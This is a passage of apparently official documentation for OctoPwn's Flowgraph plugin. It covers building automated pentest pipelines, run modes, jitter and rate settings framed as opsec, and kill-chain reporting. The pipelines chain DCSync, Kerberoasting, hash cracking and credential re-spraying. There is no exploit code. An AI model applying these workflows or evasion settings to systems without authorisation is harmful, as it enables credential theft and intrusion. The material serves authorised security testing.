button, validation, zoom, and the composite save dialog. ![Empty canvas with palette docked on the left](/images/flowgraph/02-empty-canvas.png "Empty canvas") --- ## 3. The block palette Blocks are grouped by category — the same categories the [block reference](blocks/index.md) is organised around. Categories expand and collapse; the search box at the top filters across every block id and description. A few tips: - Search by **wire type** — typing `credential_smb` shows every block with an SMB-credential port. - Search by **MITRE technique ID** — typing `T1558` shows every block that produces / consumes a Kerberos ticket attack. ![Palette filtered by the keyword "scanner"](/images/flowgraph/03-palette-search.png "Palette search") --- ## 4. Dropping a block on the canvas Drag any block from the palette onto the canvas. The drop point is exactly where you let go of the mouse; nodes can be repositioned later with click-and-drag. A freshly dropped node has its default parameter values applied and is marked `PENDING` until the next run. ![SOURCE_TARGETS dragged onto the canvas](/images/flowgraph/04-drag-source.png "Drag a source") --- ## 5. Wiring blocks together Hover over a port — a small handle appears. Click and drag from an output handle to an input handle. The editor highlights compatible input ports in green and incompatible ones in red as you drag, so it is hard to make a connection the engine will refuse. ![A small pipeline: SOURCE_TARGETS → SCANNER_PORTSCAN → SCANNER_SMBFINGER](/images/flowgraph/05-wired-pipeline.png "Wired pipeline") --- ## 6. The configuration panel Click any node to open its configuration panel on the right. The panel renders one input per parameter declared in the registry, with the parameter description below it (this is the same text you can read on the [block reference](blocks/index.md) page). Required parameters are marked; defaults are pre-filled. Setting `description` gives the node a memorable label on the canvas. ![Config panel for SCANNER_PORTSCAN showing parameters](/images/flowgraph/06-config-panel.png "Node config panel") --- ## 7. Validation The Validate button runs the same logic as `validate` on the CLI. Errors and warnings are listed in a popover; each entry has a `node_id` / `edge_id` reference you can click to jump straight to the offending node on the canvas. Common errors are missing required parameters, dangling required input ports, and type mismatches you somehow tricked the editor into accepting. ![Validation popup with a missing-input error highlighted](/images/flowgraph/07-validation-error.png "Validation popup") --- ## 8. Run controls The toolbar exposes five execution controls plus the pacing knobs: - **Run** — single pass with RERUN_TRIGGER convergence. - **Continuous** — keep running on an interval. - **Runloop** — iterate until the store stops growing. - **Stop** — cancel the current run. - **Reset state** — clear seen IDs, queues, and journal. The pacing inputs (max concurrent, ops/min, jitter, rerun delay) live in the same toolbar. See [run modes & opsec](run-modes.md) for what each one does. ![Run / Continuous / Runloop / Stop / Reset State buttons in the toolbar](/images/flowgraph/08-run-controls.png "Run controls") --- ## 9. Live execution state While a run is in flight, every node is coloured by its state: | Colour | Meaning | |------------|---------------------------------------------------------| | Grey | `PENDING` — has not yet had all required inputs. | | Blue | `RUNNING` — actively executing. | | Green | `DONE` — finished, produced output. | | Red | `ERROR` — raised an exception; details on hover. | | Hatched | `DISABLED` — manually disabled by the operator. | The window also shows a per-node iteration counter when you are inside a `runloop` or `continuous` run. ![Graph mid-run with PENDING / RUNNING / DONE colouring visible](/images/flowgraph/09-running-states.png "Live execution states") --- ## 10. Inspecting items on a wire — TAP_SINK Drop a `TAP_SINK` block onto any wire (drag it on top, the editor "splices" it into the connection). TAP forwards items downstream unchanged, but every item it sees also appears in the results panel under that node — full JSON, one row per item. ![TAP_SINK selected, results panel showing the items that flowed through it](/images/flowgraph/10-tap-results.png "TAP results") --- ## 11. The CONSOLE block `CONSOLE` is a pass-through logger. Each item is rendered through the `message` template (`{field_name}` placeholders interpolate fields from the dict) and printed live in a panel inside the block itself. Leave `message` empty to print raw JSON. This is the right block when you want a "log line" view of a stream without leaving the canvas. ![CONSOLE block showing live log output](/images/flowgraph/11-console-output.png "CONSOLE output") --- ## 12. Kill chain trace Right-click any item in the results panel — or any credential / target in the project store — and pick **Trace kill chain**. The frontend sends a `killchain {"__cid": …}` command to the backend; the response is rendered as an interactive tree showing every block that contributed to the item, with MITRE ATT&CK badges where the registry maps them. ![Kill chain trace popup for a discovered credential](/images/flowgraph/12-killchain.png "Kill chain trace") --- ## 13. Saving a composite With one or more nodes selected, picking **Save as composite** in the toolbar opens a dialog. You give the composite an ID (`COMPOSITE_<MyName>`, validated by the same regex the CLI enforces), a description, and confirm the inferred port surface (one port per `BOUNDARY_INPUT` / `BOUNDARY_OUTPUT` in the selection). After saving, the composite is in the palette under **Composites** and in `~/.octopwn/composites/<id>.json` for sharing. ![Save composite dialog](/images/flowgraph/13-save-composite.png "Save composite dialog") --- ## 14. Reusing a composite Composites behave exactly like any other block — they appear in the palette with their ports and description, and they execute as a nested engine inside the parent. Double-clicking a composite opens its inner graph in a new tab so you can edit it; saving the inner graph updates the composite definition everywhere. ![A composite dropped into a new pipeline showing its external port surface](/images/flowgraph/14-composite-reuse.png "Composite reuse") --- ## What's next - For wire-type rules, see [typing & wiring](typing-and-wiring.md). - For the run / continuous / runloop modes in detail, see [run modes & opsec](run-modes.md). - For end-to-end pipelines you can copy and adapt, see the [recipes](recipes/index.md). - For the complete catalogue of every block type, see the [block reference](blocks/index.md). --- # [Automations / Flowgraph] Run modes & opsec Source: https://docs.octopwn.com/plugins/automations/flowgraph/run-modes.html # Run modes & opsec controls A flowgraph is a *description* of work. How that work is dispatched is determined by the run mode you pick from the FLOWGRAPH window toolbar (or the equivalent console command). There are three run modes plus a set of orthogonal opsec / pacing knobs that apply to all of them. --- ## The three modes ### `run` — single pass with RERUN_TRIGGER convergence `run` executes the graph once. If a `RERUN_TRIGGER` (local) or `RERUN_TRIGGER_GLOBAL` sink receives any items during the pass, the engine schedules another pass after `setdelay` seconds (zero by default) and re-runs until no rerun is requested. This is the right mode for **deterministic engagements**: load the graph, hit Run, walk away. You get a kill-chain audit trail that matches the engagement exactly. ```mermaid flowchart LR start([run]) --> pass[Pass N] pass --> rerun{rerun_requested?} rerun -->|yes, then setdelay| pass rerun -->|no| done([done]) ``` ### `continuous <interval>` — periodic re-execution `continuous 180` runs the full graph (including any RERUN_TRIGGER convergence), then sleeps for 180 seconds, then runs it again, and so on, with `iter_state` preserved across cycles. The window keeps the "sleeping until …" indicator visible between cycles. Use this for **long-running monitoring tasks** — keep scraping new LDAP users every five minutes, re-roast every newly created service account, etc. Pair with `setjitter` so the cycle does not become a detectable cadence. `continuous` accepts optional ISO-8601 `start_at` and `stop_at` timestamps so you can schedule the run for a specific maintenance window: ``` continuous 300 2026-04-15T22:00:00 2026-04-16T04:00:00 ``` ### `runloop [max_iterations]` — run until convergence `runloop` iterates the graph until **nothing new was discovered**: no new credentials, no new targets, no items pending in any queue. Each iteration prints a status line so you can see the store grow and stabilise. Use this when you have a self-feeding pipeline (e.g. DCSync → queue → roast → crack → queue → re-spray) and you want it to walk itself to a fixed point. Pass `max_iterations` to cap how long it will run. ``` runloop # unlimited runloop 5 # at most 5 passes ``` --- ## Picking the right mode | Situation | Mode | |--------------------------------------------------------------------------|--------------| | A graph that should run once and stop, even if no rerun is wired | `run` | | A graph with one or two `RERUN_TRIGGER`s that should converge naturally | `run` | | A graph that should keep going until the store stops growing | `runloop` | | A graph used as a long-running watchdog | `continuous` | | A scheduled engagement window with explicit start / stop times | `continuous` | --- ## RERUN_TRIGGER vs RERUN_TRIGGER_GLOBAL Both are silent sinks — the items they receive are discarded; only the fact that they received something matters. The difference is **scope**: - `RERUN_TRIGGER` re-runs the **current** scope. At the top level that is the whole graph; inside a composite block it re-runs only the composite's inner graph. - `RERUN_TRIGGER_GLOBAL` always re-runs the **outermost** graph, no matter how deeply nested the trigger is. Use `RERUN_TRIGGER_GLOBAL` inside composites when an inner-graph discovery (a new credential, a new target) should restart the entire parent pipeline. --- ## Opsec controls All four controls are global to the FLOWGRAPH util session and apply to every subsequent run. Set them once before kicking off a run; they persist until the session ends or you change them. ### `setmaxconcurrent <n>` Caps the number of concurrently running nodes across the entire engine. `0` (the default) means unlimited. Lower this when you are worried about saturating your egress link or hammering a single subnet. ``` setmaxconcurrent 3 ``` ### `setrate <ops_per_minute>` Caps how often a new node can start. Useful when you want to keep the scan footprint smooth rather than burst-y. `0` disables the limit. ``` setrate 30 # at most 30 node-starts per minute ``` ### `setjitter <min_seconds> <max_seconds>` Adds a uniformly random delay before each node starts. Combine with `setrate` to break up cadenced traffic. ``` setjitter 0.5 4 ``` ### `setdelay <seconds>` (RERUN delay) Delay between RERUN_TRIGGER-triggered passes inside a single `run` or `continuous` invocation. Defaults to `0`. ``` setdelay 30 ``` ### `setnodedelay <seconds>` (DEMO ONLY) Forces each node to stay visually `RUNNING` for at least N seconds. **Only use for presentations**; it does nothing for real engagements except slow them down. Reset to `0` afterwards. ``` setnodedelay 1.5 # presentation pace setnodedelay 0 # back to normal ``` --- ## State management | Command | Effect | |---------------|--------| | `resetstate` | Clears `iter_state` (seen IDs, queues, journal). Next run starts from scratch. | | `stop` | Cancels the running task and any scheduled stop timer. | `resetstate` is the right tool when: - You finished a runloop and want a clean start for the next graph. - The `*_NEW` sources are returning nothing because everything is in `seen_*_ids` — typically because you re-ran the graph without resetting and there really is nothing new. - You want a fresh journal for a kill-chain report. --- ## Putting it together A real opsec-tuned run might look like: ``` > setmaxconcurrent 4 > setrate 24 > setjitter 1 3 > setdelay 15 > loadfile engagements/acme/wave1.json > run 2026-04-15T22:00:00 2026-04-16T03:30:00 ``` — at most four nodes at a time, twenty-four starts per minute, one-to-three seconds of jitter, fifteen seconds between rerun-driven passes, starting at 22:00 and auto-stopping at 03:30. See the [CLI reference](cli.md) for the full command list. --- # [Automations / Flowgraph] Typing & wiring Source: https://docs.octopwn.com/plugins/automations/flowgraph/typing-and-wiring.html # Typing & wiring Every port has a **wire type**. The engine refuses to connect ports whose types are incompatible, and the editor only draws connectable ports when you start a drag from a port. This page is the cheat sheet that explains why a given connection is or is not allowed. --- ## The wire-type catalogue The types you will see in port tooltips, organised by what they carry. ### Targets | Type | Carries | |-----------------|------------------------------------------------------------------------| | `raw_target` | A `{value: str}` dict containing an IP, hostname or CIDR string. Emitted by `SOURCE_RAW_TARGETS` / `PROMPT_SOURCE_TARGETS`. | | `scan_result` | A stored-target dict carrying at least `__tid`; usually with scanner-specific fields merged in (port, service, hostname, etc.). | `raw_target` flows into scanner / attack / utility ports. To open a session you need a `scan_result` (the engine needs an actual stored target so the session has a `__tid` to remember its origin). Convert with `STORE_TARGETS`. ### Credentials | Type | Carries | |---------------------------|---------| | `credential` | Generic credential dict with `__cid`. Flows out of every credential source and into `CREDMUX`. | | `credential_smb` | SMB-usable credential (password, NT, RC4, AES, Kerberos). | | `credential_ldap` | LDAP-usable credential. | | `credential_krb` | Kerberos-usable credential. | | `credential_ssh` | SSH-usable credential (password, SSH private key). | | `credential_rdp` | RDP-usable credential. | | `credential_winrm` | WinRM-usable credential (incl. CredSSP / SPNEGO variants). | | `credential_mssql` | MSSQL-usable credential. | | `credential_wmi` | WMI-usable credential. | | `credential_ftp` | FTP-usable credential (password). | | `credential_vnc` | VNC-usable credential. | | `credential_dcedrsuapi` | DCEDRSUAPI-usable credential — used for DCSync via RPC. | | `credential_snmp` | SNMP community string. | The protocol-specific variants are **only produced by `CREDMUX`**. If you wire a `SOURCE_CREDENTIALS` directly to an `OPEN_SESSION_SMB` the editor will refuse the connection because `credential` is not the same as `credential_smb`. The right pattern is always: ```mermaid flowchart LR s[SOURCE_CREDENTIALS_NEW] -->|credential| mux[CREDMUX] mux -->|smb credential_smb| smb[OPEN_SESSION_SMB] mux -->|ssh credential_ssh| ssh[OPEN_SESSION_SSH] ``` `CREDMUX` matches each incoming credential against the allowed secret types for each protocol and silently drops incompatible types on the unused output ports. ### Sessions | Type | Carries | |-----------------------|-----------------------------------------------| | `session_<client>` | A `{session_id, target_id, credential_id}` reference for a live `<client>` session. One type per entry in `OCTOPWN_CLIENT_TABLE`. | `session_ldap`, `session_smb`, `session_rdp`, `session_kerberos`, `session_dcedrsuapi`, `session_mssql`, `session_ssh`, `session_wmi`, `session_winrm`, `session_ftp`, `session_netcat`, `session_nfs3`, `session_snmp`, `session_ntp`, `session_dns`. ### Datasets | Type | Carries | |-------------------------|------------------------------------------------------| | `dataset_users` | Individual user dicts from `ENUM_LDAP_USERS`. | | `dataset_computers` | Individual computer dicts from `ENUM_LDAP_COMPUTERS`. | | `dataset_templates` | ADCS template dicts from `ENUM_LDAP_ADCS_TEMPLATES`. | | `dataset_trusts` | Trust dicts from `ENUM_LDAP_TRUSTS`. | Datasets are streamed via `StorageRef` — the engine pulls items lazily from the LDAP client's on-disk SQLite, so a 100 000-user domain does not blow up your memory. ### Errors and generic | Type | Carries | |-------------|------------------------------------------------------------------------| | `error` | Error dict from `OPEN_SESSION_*` or `CMD_*` when something fails. | | `any` | Wildcard — connects to anything. Used by generic sinks and taps. | --- ## Type compatibility rules The validator and the editor agree on a small set of rules: 1. **Identical types always connect.** 2. **`any` matches anything in either direction.** That is why `FILE_SINK`, `TERMINATOR_SINK`, `TAP_SINK` and `CONSOLE` can be wired onto any wire — they accept `data: any`. 3. **`raw_target` upcasts to `scan_result` for scanner inputs.** Most scanner `target` ports declare `raw_target` but happily accept `scan_result` items because they only care about the value lookup keys (`value`, `__tid`, `ip`, `target`, `serverip`). 4. **Protocol credentials only come from `CREDMUX`.** No other block produces `credential_smb` / `_ldap` / etc. 5. **Cross-product semantics on `host` + `credential` ports.** `OPEN_SESSION_*` exposes both a `host` port and a `credential` port. If both are wired, the engine cross-products them: each host × each credential becomes one session attempt. To avoid the cross-product, wire a combined `scan_result` (with both `__tid` and `__cid` set) to the `result` input port instead — that opens exactly one session per item. --- ## Common wiring mistakes These come up enough that they are worth flagging explicitly. **1. Wiring `SOURCE_CREDENTIALS` straight to a scanner credential port.** The types do not match. Always route through `CREDMUX`. **2. Forgetting `CREDMUX` and getting an unexpected explosion.** Without `CREDMUX`, a scanner that supports multiple credential families will try every credential against every target, including credentials of types it cannot use. CREDMUX is also where you filter so each protocol only sees its own credentials. **3. Using `SOURCE_TARGETS` in a runloop.** `SOURCE_TARGETS` emits the full snapshot every pass, which defeats the point of the runloop. Use `SOURCE_TARGETS_NEW` so each pass only processes newly discovered targets. **4. Wiring an `error` output into a `data` input that expects results.** The `error` ports from `OPEN_SESSION_*` and `CMD_*` produce error dicts, not results. Wire them into a `TERMINATOR_SINK` (or a `CONSOLE` if you want to log them) to keep the validator happy. **5. Putting a `STORE_TARGETS` after a CIDR-emitting source.** `STORE_TARGETS` skips CIDR ranges with a warning — it is meant for pinning a small number of specific hosts. Use `SCANNER_PORTSCAN` to turn a CIDR range into discovered target-port entries instead. **6. Wiring a `host` and a `credential` port and expecting one attempt.** That is the cross-product trap. Use `ID_SPLITTER_PAIR` or plug the combined `scan_result` straight into the `result` port. --- ## Output schemas and FILTER autocomplete Every block that emits dict-shaped items declares an `output_schema` in the registry — a list of `(name, type_name, description)` tuples for each output port. The frontend reads this schema to populate the autocomplete dropdown on FILTER's `key` parameter, and the [block reference](blocks/index.md) renders these tables under each block. If you are writing a `SCRIPT` block that produces items, mirror the shape of upstream items so downstream FILTERs continue to work — that is, preserve `__tid` / `__cid` / `__jid` keys when you can. --- # [Automations / Flowgraph] Composites Source: https://docs.octopwn.com/plugins/automations/flowgraph/composites.html # Composites A **composite** is a piece of a flowgraph saved as a reusable, named block with its own typed port surface. They are the flowgraph equivalent of writing a function: define inputs, define outputs, hide the implementation, drop the result into other graphs. ```mermaid flowchart LR subgraph parent [Parent graph] src[SOURCE_CREDENTIALS_NEW] --> c[COMPOSITE_DCSyncTrampoline] c --> sink[FILE_SINK] end ``` The outside of the composite looks like any other block. The inside is a normal flowgraph augmented with **boundary blocks** that define the external port surface. --- ## The boundary blocks Two special block types only exist inside composite inner graphs: | Block | Role | |-------------------|------| | `BOUNDARY_INPUT` | A source-shaped block that emits items the parent pushed into the matching composite input port. | | `BOUNDARY_OUTPUT` | A sink-shaped block that collects items the parent should receive on the matching output port. | Both blocks expose three parameters that the composite engine uses to build the facade: - `external_port` — the name of the port the parent sees. Must be unique within the composite. - `type_name` — the wire type for that port. Pick something that matches what you intend to plumb through (e.g. `credential_smb`, `scan_result`, `any`). - `output_port` / `input_port` — the inner handle id, almost always the default (`out` for inputs, `in` for outputs). When you save a composite, the framework scans the inner graph for boundary nodes and **derives the external port surface** from their `external_port` + `type_name` settings. You never write the facade JSON by hand. --- ## Authoring a composite The typical UI workflow: 1. Build the inner pipeline on the canvas as you would any other flowgraph. 2. Replace the source(s) you want the parent to provide with `BOUNDARY_INPUT` blocks, one per external input port. Set `external_port` to something meaningful (`target`, `credential`, `pair`) and the matching wire type. 3. Replace the terminal sink(s) with `BOUNDARY_OUTPUT` blocks for the data the parent should see. 4. Pick **Save composite** in the toolbar, give it an ID (`COMPOSITE_<MyName>` — the validator enforces the prefix and the `[A-Za-z0-9_]+` character class) and a description, and confirm. The composite is now registered, persisted to `~/.octopwn/composites/<id>.json`, broadcast to the frontend, and available in the palette. Drop it into other graphs like any other block. The same lifecycle is exposed on the CLI: | Command | Effect | |--------------------------------------|--------| | `savecomposite <path-to-json>` | Install a composite from a JSON file and persist it. | | `compositefromdata <json>` | Install from an inline JSON string. | | `deletecomposite <id>` | Remove from the registry and delete the on-disk file. | | `listcomposites` | Print every registered composite and its port surface. | --- ## Persistence and sharing Composites live in `~/.octopwn/composites/`. Each file is a JSON document of the form: ```json { "kind": "composite", "facade": { "id": "COMPOSITE_DCSyncTrampoline", "..." : "..." }, "inner_flowgraph": { "id": "...", "nodes": ["..."], "edges": ["..."] } } ``` To share a composite with a teammate, copy the file. To version a team-wide library, commit them to a git repo and symlink the directory into `~/.octopwn/composites/`. The composite registry is reloaded every time the FLOWGRAPH util session starts. --- ## Execution semantics A `COMPOSITE` node runs its inner flowgraph inside the parent's engine context. A few rules worth knowing: - **`RERUN_TRIGGER` is scoped.** A local trigger inside a composite only re-runs the inner graph (up to 50 times — see `_MAX_INNER_RERUNS` in `composite.py`). Use `RERUN_TRIGGER_GLOBAL` to bubble the rerun up to the outermost graph. - **Frontend state is prefixed.** Inner node states are reported back to the frontend with the parent composite's node id as a prefix so the UI knows which canvas to update. - **Composites nest.** A composite inner graph can contain other composites. The same `iter_state` is shared up and down the hierarchy, so feedback queues work across nesting. --- ## When to reach for a composite | Situation | Composite? | |--------------------------------------------------------------------------------|------------| | The same `OPEN_SESSION → CMD_DCSYNC → CREDENTIAL_QUEUE` block triplet appears in five different graphs. | Yes. | | You want a "Roast + crack" subroutine you can drop in wherever you have an LDAP session. | Yes. | | You want a one-off filter that you will only ever use in this graph. | No — keep it inline. | | You want a piece of logic that needs to bubble new credentials back to the root pipeline. | Yes, but the inner sink must be `RERUN_TRIGGER_GLOBAL`, not `RERUN_TRIGGER`. | A good composite has a small, opinionated port surface and is **named after the behaviour it provides**, not after the blocks it contains. Future-you will thank present-you for `COMPOSITE_HarvestADCSCerts` over `COMPOSITE_PipelineV3`. --- # [Automations / Flowgraph] Script block Source: https://docs.octopwn.com/plugins/automations/flowgraph/script-block.html # The SCRIPT block `SCRIPT` is the escape hatch. When `FILTER`, `COLLECT`, `CREDMUX` and the other built-in vocabulary can't express what you need, drop a `SCRIPT` block into the pipeline and write the logic in Python. ```mermaid flowchart LR upstream[Upstream block] -->|in any| script[SCRIPT] script -->|out any| downstream[Downstream block] ``` The block is intentionally minimal: it has one input port `in` and one output port `out`, both of wire type `any`. The shape of the data is entirely up to you and the upstream / downstream blocks. --- ## The `process` contract Every script must define a single top-level coroutine called `process` with this signature: ```python async def process(item, octopwn): """ Process a single input item. Args: item: One item from the 'in' port (any shape). octopwn: The OctoPwn application context (octopwnobj). Returns: - A single item (forwarded on 'out'), - A list of items (each forwarded on 'out'), - or None (item is dropped). """ return item ``` The default code you get when you place a fresh `SCRIPT` block is exactly the template above. Double-click the block in the canvas to edit; the code is stored in the node's `params['code']` field and re-compiled at the start of each run. A few behavioural details to internalise: - **One call per item.** The engine pulls items from the `in` queue and awaits `process(item, octopwn)` for each one. There is no batch / fan-in mode; if you need that, use `COLLECT` upstream. - **Lists are flattened.** Returning a list lets a single input produce multiple outputs. Returning `None` drops the item silently. - **Exceptions abort the node.** Any unhandled exception inside `process` is wrapped into a `RuntimeError` with the original traceback and marks the node `ERROR` in the UI. --- ## Configuring the block `SCRIPT` exposes three parameters in the config panel: | Parameter | Purpose | |----------------|---------| | `code` | The Python source. Use the in-canvas editor — the IDE-style autocomplete works against `octopwnobj`. | | `input_type` | Semantic wire type advertised on the `in` port. Default `any`. Set to the actual upstream type if you want the editor to refuse incompatible connections. | | `output_type` | Semantic wire type advertised on the `out` port. Default `any`. Set this when you know exactly what your script produces — downstream FILTERs will then accept the connection. | Setting `input_type` / `output_type` is optional but recommended for scripts that live in shared composites — it makes the contract explicit and lets the editor enforce it. --- ## Example 1 — Filter to a specific share name The built-in `FILTER` block evaluates a single key/op/value. When you need a richer condition, drop into a SCRIPT block: ```python async def process(item, octopwn): """ Keep SMB share results whose UNC ends with one of a handful of well-known sensitive share names. """ interesting = {'sysvol', 'netlogon', 'replication', 'admin$', 'c$'} path = (item.get('path') or '').lower() name = path.rstrip('\\').rsplit('\\', 1)[-1] if name in interesting: return item return None ``` Set `input_type=scan_result` and `output_type=scan_result` so the downstream consumer's FILTER autocompletes against the SMB share schema. --- ## Example 2 — Enrich credentials with a custom tag Add a `__custom_tag` field every downstream block can branch on: ```python async def process(item, octopwn): """Tag credentials with the source they came from for later reporting.""" enriched = dict(item) enriched['__custom_tag'] = 'auto-dcsync-{}'.format(item.get('__cid', '?')) return enriched ``` Make sure to copy the original dict before mutating — items can flow through multiple paths in parallel and mutating in place leads to spooky-action-at-a-distance bugs. --- ## What you have access to The `octopwn` argument is the live `octopwnobj` — the same object every other block uses. From inside a script you can: - Read / write the credential store via `octopwn.credentialMgr`. - Read / write the target store via `octopwn.targetMgr`. - Query open sessions via `octopwn.sessionMgr`. - Trigger any of the helpers that the regular client / scanner / attack code uses internally. That makes the SCRIPT block effectively unlimited in power and, by the same token, **unsandboxed**. The same trust model as the OctoPwn IDE window applies — if you didn't write the script, read it before you run it. --- ## When to *not* use a script If your script ends up being more than ~30 lines and looks like it might be useful elsewhere, the right tool is usually a [plugin](../../utils/pluginloader.md), not a script block. Plugins live in `~/.octopwn/plugins/`, get autoloaded by `PLUGINLOADER`, can ship their own UI, and are far easier to share with the team. `SCRIPT` is for the cases where the logic is so specific to one flowgraph that turning it into a plugin would just create paperwork. --- # [Automations / Flowgraph] CLI reference Source: https://docs.octopwn.com/plugins/automations/flowgraph/cli.html # CLI reference The flowgraph framework is built around its UI, but every UI action is ultimately implemented as a command on a `FLOWGRAPH` utility session. That console is also exposed directly, which makes the CLI the right tool for: - **Scripted / unattended runs** — load a saved graph from disk and fire it from a CI pipeline or `clouderun.py`. - **Replaying graphs** — re-execute the exact JSON you stored in the History tab for a previous engagement. - **Validation in pre-commit** — run `validate` on the JSON before checking it in. - **Headless investigations** — pull kill-chain reports for stored runs without opening the UI. --- ## Starting a session From any OctoPwn console: ``` > createutil FLOWGRAPH ``` A FLOWGRAPH window opens in the frontend (if you are running with one) and the console is now scoped to that session. From here, every command in this page is available. The block registry is shipped to the frontend automatically about a second after the window opens. --- ## Graph lifecycle ### `load <json_string>` / `loadfile <path>` Parse and validate a flowgraph JSON. `load` accepts the JSON inline; `loadfile` reads it from disk. Both broadcast the graph to the frontend so the canvas updates immediately. ``` > loadfile /tmp/engagements/acme/wave1.json [+] Flowgraph "wave1" loaded from file — 14 nodes, 21 edges ``` `load` is the right command when the JSON came from an upstream tool (e.g. an LLM, a templating script). `loadfile` is what you will use 99% of the time. ### `validate [json_string]` Validate the inline JSON, or — if omitted — the currently loaded graph. Reports cycles, type mismatches, missing required params, unreachable sinks and more. Returns the structured result as JSON so CI pipelines can consume it. ``` > validate [+] Flowgraph is valid. [~] 1 warning(s). WARN port-not-wired [node=tap-3]: Output port 'data' on TAP_SINK has no consumers. ``` ### `listblocks` Print every block type currently in the registry, grouped by category, and re-broadcast the registry to the frontend. Useful when the palette got out of sync. ### `listcomposites` Print every registered composite (saved sub-flowgraph) with its port surface and the directory it was loaded from. Composites live in `~/.octopwn/composites/`. ### `savecomposite <path-to-json>` / `compositefromdata <json>` / `deletecomposite <id>` Install or remove composite definitions. See [composites](composites.md) for the workflow. --- ## Execution ### `run [start_at_iso] [stop_at_iso]` Execute the loaded flowgraph once. RERUN_TRIGGER blocks cause additional passes within the same `run` call. Optionally takes ISO-8601 timestamps to schedule the start and force a stop: ``` > run # start now > run 2026-04-15T22:00:00 # start at 22:00 today > run 2026-04-15T22:00:00 2026-04-16T03:30:00 # ditto, hard stop at 03:30 ``` The persistent `iter_state` carries across multiple `run` invocations so `skip_done` flags work as expected. `resetstate` clears it. ### `continuous <interval_seconds> [start_at] [stop_at]` Run the graph, sleep for `interval_seconds`, run it again, forever (or until `stop_at` / `stop`). State is preserved across cycles. ``` > continuous 180 # every 3 minutes > continuous 300 2026-04-15T22:00:00 2026-04-16T04:00:00 ``` ### `runloop [max_iterations]` Iterate the graph until no new credentials or targets are discovered. `max_iterations=0` (default) means unlimited. ``` > runloop 5 ``` ### `stop` Cancel the running task and any scheduled stop timer. ### `status` Print the current node states (PENDING / RUNNING / DONE / ERROR / DISABLED) for the last engine run. --- ## Pacing and opsec | Command | Effect | |------------------------------------------|--------| | `setdelay <seconds>` | Seconds between RERUN_TRIGGER-driven passes (default 0). | | `setmaxconcurrent <n>` | Cap simultaneous running nodes (0 = unlimited). | | `setrate <ops_per_minute>` | Cap node-start rate (0 = unlimited). | | `setjitter <min_seconds> <max_seconds>` | Random per-node startup delay range. | | `setnodedelay <seconds>` | DEMO only — forces nodes to stay visible for at least N seconds. | | `resetstate` | Clear `iter_state` (seen IDs, queues, journal). | See [run modes & opsec](run-modes.md) for the bigger picture. --- ## Reporting ### `killchain <query_json> [hid]` Walk the execution journal backwards from a stored item to reconstruct the full kill-chain that produced it. `query_json` selects the item (`{"__cid": 15}`, `{"__tid": 3}`, `{"__session_id": 7}`). The optional `hid` selects a stored historical journal instead of the live state. ``` > killchain {"__cid": 15} > killchain {"__cid": 15} 7 ``` See [reporting & killchain](reporting.md) for the journal format and how to read the output. --- ## Typical scripted run ``` > createutil FLOWGRAPH > setmaxconcurrent 4 > setrate 24 > setjitter 1 3 > setdelay 15 > loadfile /tmp/engagements/acme/wave1.json > validate [+] Flowgraph is valid. > run 2026-04-15T22:00:00 2026-04-16T03:30:00 [+] Flowgraph "wave1" scheduled (start at 2026-04-15T22:00:00). ``` This is exactly what an unattended `clouderun.py` pentest would execute, with the graph itself committed to git and traceable to the operator who authored it. --- # [Automations / Flowgraph] Reporting & killchain Source: https://docs.octopwn.com/plugins/automations/flowgraph/reporting.html # Reporting & killchain Every flowgraph pass writes an **execution journal** to `iter_state` and to the History database. The journal is what makes the killchain report work: given any item in the store, OctoPwn can walk the journal backwards and reconstruct the entire path that produced it. This page explains what the journal contains, what `killchain` produces, and how runs end up in the History tab. --- ## The execution journal Every block invocation appends one entry to `iter_state['execution_journal']`. Each entry is a dict that contains: | Key | Meaning | |----------------------|---------| | `ts` | ISO-8601 timestamp of the invocation. | | `event` | `'pass_start'` for pass markers, otherwise the executor stamps this with the block category. | | `node_id` | The node id (UUID-shaped string) on the canvas. | | `block_type` | E.g. `SCANNER_SMBADMIN`, `CMD_DCSYNC`. | | `params` | The static params on the node (so the kill chain can show what `template=` you used). | | `inputs` | Per-input-port summaries — only the well-known ID keys (`__tid`, `__cid`, `__jid`, …) are kept, never the full item payload. | | `outputs` | Per-output-port summaries, same shape. | | `iteration` | Runloop pass number. | The summaries are *intentionally* lightweight. The journal is meant to be a provenance graph, not a results store — actual scan output goes to the History DB and to `/browserfs/volatile`. ### Journal ID stamps (`__jid`) When the engine appends a journal entry it assigns it a monotonically increasing `__jid` integer and stamps every output item with that same value. The next block to receive the item preserves `__jid` in its input summary, which creates a direct parent link from the consuming entry back to the producing one. That is the *only* thing the killchain walker uses to traverse the graph. No content matching, no heuristics — just `__jid` chains. --- ## `killchain` — what it actually does `killchain <query_json> [hid]` finds the journal entry whose outputs match the query (e.g. `{"__cid": 15}`), then walks parent links backwards until it hits source blocks. The result is a tree of `KillChainStep` objects rendered as both a human-readable text report and a JSON tree (the latter is what the frontend uses to draw the tree view). A typical output looks like: ``` Kill chain for query {"__cid": 15} └── HASHCAT_WORDLIST [hashcat-1] (2026-04-15T22:04:11) params: { wordlist: rockyou.txt } T1110.002 └── CMD_KERBEROAST [roast-1] (2026-04-15T22:03:55) T1558.003 └── OPEN_SESSION_KERBEROS [opensess-1] (2026-04-15T22:03:48) └── CREDMUX [mux-1] (2026-04-15T22:03:47) └── SOURCE_CREDENTIALS_NEW [src-creds-1] (2026-04-15T22:03:46) ``` Read top to bottom: the cracked credential 15 came out of `HASHCAT_WORDLIST`, which got its hash from `CMD_KERBEROAST`, which ran over a Kerberos session opened with a different (existing) credential routed through `CREDMUX`. The `T1110.002` / `T1558.003` badges come from the `attack_techniques` field in the registry — they map to MITRE ATT&CK and feed directly into a report appendix. ### Passthrough collapse Blocks like `CMD_LDAP` re-emit the session reference on a `session_out` port so chains can continue from them. The walker detects passthrough entries (input has an item with the same ID keys as the queried item) and collapses them, keeping the report focused on the steps that actually transformed the data. ### Cross-run provenance `SOURCE_*` blocks stamp items with `__source_flowgraph_hid` — the history id of the run that originally introduced the item to the store. When `killchain` walks a journal and finds an item with a different `hid` than the current run, it loads the stored journal for that historical run too and continues the trace there. The output prints a `[*] Loaded historical journal for hid=N` line whenever this happens. That is how OctoPwn answers "where did this credential first come from?" across an entire engagement, not just the latest run. --- ## History integration Every `run`, `continuous` cycle and `runloop` allocates a fresh history entry. The entry contains: | Stored key | Contents | |------------------|----------| | `__flowgraph` | The full flowgraph JSON snapshot (so the History tab can re-render the exact graph that was run). | | `__journal` | The serialised execution journal (used by `killchain hid=…`). | | `__run_meta` | Run metadata: `flowgraph_name`, `passes`, `status` (`completed` / `stopped` / `error`), `mode` (`run` / `continuous` / `runloop`). | | `__state_event` | Per-node state transitions 